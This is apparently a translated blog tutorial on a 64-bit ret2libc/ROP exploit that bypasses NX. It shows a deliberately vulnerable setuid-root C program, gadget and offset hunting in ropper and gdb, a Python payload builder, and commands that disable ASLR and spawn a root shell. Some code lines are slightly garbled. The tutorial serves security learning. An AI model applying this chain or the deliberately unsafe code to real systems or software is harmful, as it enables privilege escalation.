Buffer overflow in the 64-bit stack - Part 2
In the second part, we activate the NX bit, which is intended to protect us from buffer overflows. To keep things fun, we will of course override this protection directly. We achieve this by passing the command to be executed to the libc-Funktion system()
is forwarded. This tutorial is fundamentally based on the work of superkojiman 1)
Introduction
This article is part of the Buffer Overflow series. You can find more on this topic here:
- Buffer Overflow
Further information on ROP (Return Oriented Programming) and the basics of buffer overflows can be found in the link collection at the end. 2) 3)
Theory
Attention!
The techniques and methods in this article are for learning purposes only. Misuse is punishable!The tutorial by superkojiman shows how the registers are overwritten step by step. To understand the process, we can debug the kompilierte debug binary from the blog.
br *vuln+73 # setze Breakpoint r < in.txt # in.txt wird vom Python Script erzeugt ... # Breakpoint RDI: 0x7ffff7fa0a30 --> 0x0 RBP: 0x4141414141414141 ('AAAAAAAA') # RBP ist überschrieben RSP: 0x7fffffffddc8 --> 0x4006a3 (<__libc_csu_init+99>: pop rdi) # RSP mit pop rdi Gadget RIP: 0x40060f (<vuln+73>: ret) gdb-peta$ si ... RDI: 0x7ffff7fa0a30 --> 0x0 RBP: 0x4141414141414141 ('AAAAAAAA') RSP: 0x7fffffffddd0 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh') # Pointer nach /bin/sh RIP: 0x4006a3 (<__libc_csu_init+99>: pop rdi) # pop rdi wurde auf RIP geschrieben gdb-peta$ si ... RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh') # Pointer wurde auf rdi geschrieben RBP: 0x4141414141414141 ('AAAAAAAA') RSP: 0x7fffffffddd8 --> 0x400469 (<_init+25>: ret) # NOP RIP: 0x4006a4 (<__libc_csu_init+100>: ret) gdb-peta$ si ... RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh') RBP: 0x4141414141414141 ('AAAAAAAA') RSP: 0x7...fdde0 --> 0x7ffff7e17920 (<__libc_system>: test rdi,rdi) # system("/bin/sh") RIP: 0x400469 (<_init+25>: ret)
Dependencies
Deactivate ASLR
ASLR must also be deactivated here in order to maintain constant memory areas. In Teil 1, describes what needs to be done to do this.
C programme
The original tutorial is a bit older, so the source code could not be copied 1:1. On the one hand, the UID
and EUID
had to be set additionally 4), on the other hand /bin/sh
no longer works in this way. 5)
Since there is a pop rdi; ret;
gadget was missing, I created a corresponding function.
/* Code https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/ */ /* Changes by https://www.nosociety.de/it-security:blog:buffer_overflow_x64-2 */ /* Compile: gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2 */ /* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space */ #include <stdio.h> #include <unistd.h> int gadg() { asm ("pop %rdi"); asm ("ret"); return 0; } int vuln() { char buf[80]; int r; r = read(0, buf, 400); printf("\nRead %d bytes. buf is %s\n", r, buf); puts("No shell for you :("); return 0; } int main(int argc, char *argv[]) { setuid(0); seteuid(0); printf("Try to exec /bin/zsh --interactive"); vuln(); return 0; }
Compile
Now we compile the programme. It is important that the no-pie
parameter is set. The user provides an explanation b4551k5 for this:
It seems that gcc build PIE (position indep. exec.). You can check this using “readelf -e <executable>”. If at the top (the header), Type is “DYN (shared…” then it is PIE and gets loaded at random base address. You can rebuild the code using “-no-pie” as compile flag to tell the linker you want to build an executable. This should result in 0x400000 as base address as in the examples above.
gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2
Exploit
Gadgets
We need 2 gadgets to create the exploit. To do this, we start ropper and display the gadgets
ropper --file bof-part2
...
0x000000000040116a: pop rdi; ret;
...
0x0000000000401016: ret;
We need 40116a
to move our argument from RSP to RDI and 401016
is a NOP function that shifts RSP by 8 bytes. 6)
Finding offsets
Now we still need 2 offsets for the exploit. So we load our file into the debugger and start it:
gdb-peda$ start ... gdb-peda$ p system $1 = {int (const char *)} 0x7ffff7e17920 <__libc_system> gdb-peda$ find "/bin/zsh --interactive" Searching for '/bin/zsh --interactive' in: None ranges Found 2 results, display max 2 items: bof-part2 : 0x402044 ("/bin/zsh --interactive") bof-part2 : 0x403044 ("/bin/zsh --interactive")
The offset 0x7ffff7e17920
is the address of system()
our libc call. 0x402044
is the address of our parameter that we send to system()
we want to pass. Now we have all the necessary parameters to build the corresponding buffer in the exploit.
buffer.py
/usr/bin/env python from struct import * buf = "" buf += "A "*104 # junk buf += pack(" <Q", 0x000000000040116a) # pop rdi; ret; buf += pack("<Q", 0x402044) # pointer to "/bin/zsh --interactive" gets popped into rdi buf += pack("<Q", 0x0000000000401016) # 8 bytes NOP buf += pack("<Q", 0x7ffff7e17920) # address of system() f = open("in.txt", "w") f.write(buf)
Create buffer
Now we run our Python exploit and create the file in.txt.
python2 buffer.py
Set authorisations
Our file still needs the appropriate root permissions.
sudo chown root bof-part2 sudo chmod 4755 bof-part2
root Shell
Now we start our programme and pass our buffer as an argument.
(cat in.txt | cat) | ./bof-part2
Our user shell is upgraded to the root shell and we have achieved our goal.
Repository
Project files | nosoc-repo-bof-part2.zip ZIP |
---|---|
Size | 4.00 KB |
Checksum (SHA256) | 88bda11b4652344bb9113a400b79e78abf028ef5eb89a74538061c96e2d306e5 |
Discussion